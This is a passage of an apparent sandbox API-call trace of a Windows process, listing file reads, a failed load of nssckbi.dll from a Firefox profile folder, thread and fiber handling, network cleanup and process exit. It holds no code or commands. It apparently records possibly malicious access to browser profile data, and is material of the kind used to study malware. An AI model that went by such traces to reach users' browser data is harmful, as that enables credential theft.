lpSecurityAttributes=0x3ff61c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0119.091] GetFileType (hFile=0xc4) returned 0x1 [0119.091] ReadFile (in: hFile=0xc4, lpBuffer=0x5a2da8, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x3ff640, lpOverlapped=0x0 | out: lpBuffer=0x5a2da8*, lpNumberOfBytesRead=0x3ff640*=0x104, lpOverlapped=0x0) returned 1 [0119.092] ReadFile (in: hFile=0xc4, lpBuffer=0x5a3810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ff5e0, lpOverlapped=0x0 | out: lpBuffer=0x5a3810*, lpNumberOfBytesRead=0x3ff5e0*=0x1000, lpOverlapped=0x0) returned 1 [0119.095] LoadLibraryExW (lpLibFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default/nssckbi.dll", hFile=0x0, dwFlags=0x0) returned 0x0 [0119.095] GetLastError () returned 0x7e [0119.134] GetFileInformationByHandle (in: hFile=0x8c, lpFileInformation=0x3ffa08 | out: lpFileInformation=0x3ffa08) returned 1 [0119.134] CreateIoCompletionPort (FileHandle=0x8c, ExistingCompletionPort=0x84, CompletionKey=0xaaaaaaaa, NumberOfConcurrentThreads=0x0) returned 0x84 [0119.134] ReadFile (in: hFile=0x8c, lpBuffer=0x5aa2d8, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x3ffa24, lpOverlapped=0x292f6c | out: lpBuffer=0x5aa2d8, lpNumberOfBytesRead=0x3ffa24*=0x0, lpOverlapped=0x292f6c) returned 0 [0119.135] GetLastError () returned 0x3e5 [0119.135] WaitForSingleObject (hHandle=0x68, dwMilliseconds=0xffffffff) returned 0x0 [0119.135] SetFilePointer (in: hFile=0x8c, lDistanceToMove=1025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x401 [0119.138] ReadFile (in: hFile=0xc0, lpBuffer=0x5bf690, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x3ff594, lpOverlapped=0x0 | out: lpBuffer=0x5bf690*, lpNumberOfBytesRead=0x3ff594*=0x4000, lpOverlapped=0x0) returned 1 [0119.139] GetSystemTime (in: lpSystemTime=0x3ffa18 | out: lpSystemTime=0x3ffa18*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x1, wDay=0x15, wHour=0x15, wMinute=0x5, wSecond=0x26, wMilliseconds=0x2c6)) [0119.139] SystemTimeToFileTime (in: lpSystemTime=0x3ffa18, lpFileTime=0x3ffa10 | out: lpFileTime=0x3ffa10) returned 1 [0119.139] GetSystemTime (in: lpSystemTime=0x3ff9f8 | out: lpSystemTime=0x3ff9f8*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x1, wDay=0x15, wHour=0x15, wMinute=0x5, wSecond=0x26, wMilliseconds=0x2c6)) [0119.139] SystemTimeToFileTime (in: lpSystemTime=0x3ff9f8, lpFileTime=0x3ff9f0 | out: lpFileTime=0x3ff9f0) returned 1 [0119.140] GetSystemTime (in: lpSystemTime=0x3ffa04 | out: lpSystemTime=0x3ffa04*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x1, wDay=0x15, wHour=0x15, wMinute=0x5, wSecond=0x26, wMilliseconds=0x2c6)) [0119.140] SystemTimeToFileTime (in: lpSystemTime=0x3ffa04, lpFileTime=0x3ff9fc | out: lpFileTime=0x3ff9fc) returned 1 [0119.142] FreeLibrary (hLibModule=0x74020000) returned 1 [0119.145] GetLastError () returned 0x3e5 [0119.145] FreeLibrary (hLibModule=0x73f00000) returned 1 [0119.148] GetLastError () returned 0x583 [0119.148] FreeLibrary (hLibModule=0x74040000) returned 1 [0119.151] CloseHandle (hObject=0x68) returned 1 [0119.151] CloseHandle (hObject=0x64) returned 1 [0119.151] PostQueuedCompletionStatus (CompletionPort=0x84, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0xbbbbbbbb, lpOverlapped=0x0) returned 1 [0119.152] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0119.152] WSACleanup () returned 0 [0119.286] GetModuleHandleW (lpModuleName=0x0) returned 0xce0000 [0119.286] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0 [0119.286] ExitProcess (uExitCode=0x0) [0119.286] _freefls () returned 0x1 Thread: id = 180 os_tid = 0xa10 [0118.989] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75dc0000 [0118.989] GetCurrentThreadId () returned 0xa10 [0118.990] GetLastError () returned 0x0 [0118.990] SetLastError (dwErrCode=0x0) [0118.990] CreateSemaphoreA (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=1, lpName=0x0) returned 0x98 [0118.990] ConvertThreadToFiber (lpParameter=0x0) returned 0x69aac8 [0118.990] timeGetTime () returned 0x24a19 [0118.990] CreateFiber (dwStackSize=0x0, lpStartAddress=0x740b4660, lpParameter=0x0) returned 0x69adc8 [0118.990] PostQueuedCompletionStatus (CompletionPort=0x84, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0xbbbbbbbb, lpOverlapped=0x0) returned 1 [0118.990] GetLastError () returned 0x0 [0118.990] SetLastError (dwErrCode=0x0) [0118.990] SwitchToFiber (lpFiber=0x69adc8) [0118.990] GetQueuedCompletionStatus (in: CompletionPort=0x84, lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880, dwMilliseconds=0x1388 | out: lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880) returned 1 [0118.990] GetQueuedCompletionStatus (in: CompletionPort=0x84, lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880, dwMilliseconds=0x0 | out: lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880) returned 1 [0118.990] timeGetTime () returned 0x24a19 [0118.990] GetLastError () returned 0x0 [0118.991] SetLastError (dwErrCode=0x0) [0118.991] SwitchToFiber (lpFiber=0x69a0c0) [0118.991] GetLastError () returned 0x0 [0118.991] SetLastError (dwErrCode=0x0) [0118.991] SwitchToFiber (lpFiber=0x69adc8) [0118.991] GetQueuedCompletionStatus (in: CompletionPort=0x84, lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880, dwMilliseconds=0x1388 | out: lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880) returned 1 [0119.135] ReleaseSemaphore (in: hSemaphore=0x68, lReleaseCount=1, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0119.135] GetQueuedCompletionStatus (in: CompletionPort=0x84, lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880, dwMilliseconds=0x0 | out: lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880) returned 0 [0119.135] GetLastError () returned 0x102 [0119.135] timeGetTime () returned 0x24aa5 [0119.135] GetLastError () returned 0x102 [0119.135] GetQueuedCompletionStatus (in: CompletionPort=0x84, lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880, dwMilliseconds=0x1388 | out: lpNumberOfBytesTransferred=0x26cf870, lpCompletionKey=0x26cf874, lpOverlapped=0x26cf880) returned 1 [0119.151] GetLastError () returned 0x102 [0119.151] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75dc0000 [0119.151] GetCurrentThreadId () returned 0xa10 [0119.151] SetLastError (dwErrCode=0x102) [0119.151] RtlExitUserThread (Status=0x0) Thread: id = 181 os_tid = 0xa14 [0118.966] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75dc0000 [0118.966] GetCurrentThreadId () returned 0xa14 [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] CreateSemaphoreA (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=1, lpName=0x0) returned 0x94 [0118.966] timeGetTime () returned 0x249f9 [0118.966] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff)